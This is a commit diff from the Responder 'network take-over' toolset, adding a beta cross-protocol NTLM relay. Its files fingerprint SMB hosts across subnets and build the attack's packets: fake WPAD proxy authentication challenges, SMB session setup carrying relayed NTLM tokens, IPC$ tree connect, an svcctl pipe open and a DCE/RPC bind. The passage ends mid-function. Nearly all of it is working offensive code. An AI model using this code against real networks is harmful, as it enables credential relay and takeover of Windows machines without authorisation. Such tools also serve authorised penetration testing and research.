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Added: Cross-protocol NTLMv1-2 relay (beta).

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lgandx 2016-10-02 23:34:47 -03:00
parent 5f1fa4a00f
commit ab67070a2b
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225
tools/RelayHTTPSMB/Finger.py Executable file
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
from socket import *
from odict import OrderedDict
__version__ = "0.3"
Timeout = 0.5
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x54\x00"),
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
#####################
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
return GetHostnameAndDomainName(data)
except:
pass
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
pass
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
raise
return False
try:
print "Retrieving information for %s..."%Host[0]
OsVer, LanManClient = SmbFinger(Host)
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
Hostname, DomainJoined = DomainGrab(Host)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
ShowResults((host,445))
else:
ShowResults((Host,445))

908
tools/RelayHTTPSMB/HTTPRelayPacket.py Normal file
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import sys
import random
import time
from odict import OrderedDict
import datetime
from base64 import b64decode, b64encode
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################HTTP Proxy Relay##########################
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
##################SMB Relay Packet##########################
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoCairo(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBNegoCairoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
])
class SMBSessionSetupAndxNEGO(Packet):
fields = OrderedDict([
("Wordcount", "\x0c"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("AndXOffset", "\xec\x00"),
("MaxBuff","\xff\xff"),
("MaxMPX", "\x32\x00"),
("VCNumber","\x00\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("SecBlobLen","\x4a\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xfc\xe3\x01\x80"),
("Bcc","\xb1\x00"),
##gss api starts here.
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
## NTLM packet ##
("Data", ""),
## NTLM packet ##
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("NativeOs","Windows 2002 Service Pack 3 2600"),
("NativeOsTerminator","\x00\x00"),
("NativeLan","Windows 2002 5.1"),
("NativeLanTerminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
##Buff Len
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
##Complete Buff Len
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
class SMBSessionSetupAndxAUTH(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xfa\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xfc\xe3\x01\x80"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderTagLenOfLen","\x81"),
("ApplicationHeaderLen","\xd1"),
("AsnSecMechType","\x30"),
("AsnSecMechLenOfLen","\x81"),
("AsnSecMechLen","\xce"),
("ChoosedTag","\xa2"),
("ChoosedTagLenOfLen","\x81"),
("ChoosedTagLen","\xcb"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLenOfLen","\x81"),
("ChoosedTag1StrLen","\xc8"),
#### NTLM Packet ####
("Data", ""),
#### End Of SMB ####
("NLMPAuthMsgNull","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00\x00"),
("ExtraNull",""),
("NativeLan","Samba"),
("NativeLanTerminator","\x00\x00"),
("AndxPadding",""),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
NTLMData = str(self.fields["Data"])
###### ASN Stuff
if len(NTLMData) > 255:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
else:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
if len(NTLMData)-8 > 255:
self.fields["AsnSecMechLenOfLen"] = "\x82"
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
else:
self.fields["AsnSecMechLenOfLen"] = "\x81"
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
if len(NTLMData)-12 > 255:
self.fields["ChoosedTagLenOfLen"] = "\x82"
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
else:
self.fields["ChoosedTagLenOfLen"] = "\x81"
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
if len(NTLMData)-16 > 255:
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
else:
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
## Packet len
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
##Buff Len
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path","\\\\IPC$"),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
